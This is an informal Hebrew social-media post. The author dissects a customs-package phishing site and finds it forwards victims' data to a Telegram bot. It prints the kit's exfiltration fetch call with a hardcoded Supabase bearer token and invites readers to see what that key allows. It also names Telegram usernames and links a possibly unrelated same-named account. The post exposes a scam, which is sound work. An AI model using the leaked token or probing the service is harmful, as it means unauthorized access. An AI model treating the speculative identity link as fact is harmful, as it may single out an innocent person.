> מחוסר עבודה - משועמם 🥱
> מקבל פישינג על חבילה במכס
(כמובן שזה קישור מקוצר, אני לא לוחץ על דברים כאלה - wheregoes)
> נכנס, מכניס פרטים מזויפים (ג'נרוט תז, כרטיסי אשראי),
> מסניף תעבורה דרך הדפדפן (קליק ימני, Inspect, ואז Network)
[זה עדיף מ wireshark כי אפשר לראות את התעבורה ללא הצפנה]
> מגלה שברו שולח את כל הפרטים לבוט בטלגרם
> משום מה ב-RESPONSE יש את הפרטים האלה 🤷♂️:
יוזרניים של הבוט: @Top_topp_tvopabahsb_bot
משום מה גם היוזרניים של הבנאדם עצמו: @NightShadow1988
[מוזמנים לדווח עליהם]
[או שלא] [לא אכפת לי]ברו גם השאיר מפתח אימות hardcoded בתוך הJS לשירות supabase.com.
אין לי מספיק סבלנות ללמוד את השירות ולראות את כל הדברים שאפשר לעשות עם המפתח (אם בכלל אפשר, אולי זה מאובטח 🤷♂️), אולי בהמשך. אני בינתיים צריך לשלוח קוח
fetch("https://jaxqbksxwhjrjravsuyt.supabase.co/functions/v1/send-telegram",{method:"POST",headers:{Authorization:"Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpheHFia3N4d2hqcmpyYXZzdXl0Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3Nzk4MTcxNjQsImV4cCI6MjA5NTM5MzE2NH0.EKncWy_OTlnE04_NkhfvPIRHViCjrbwGRWH2alSwaK8","Content-Type":"application/json"},body:JSON.stringify({type:P,data:I})})אז אם למישהו מכם יש כוח, זה מבורך 😇
נ.ב. יש יוזרניים זהה באתר של שיתוף תמונות סלופ https://creator.nightcafe.studio/u/Nightshadow1988
אולי זה הוא, אולי לא.
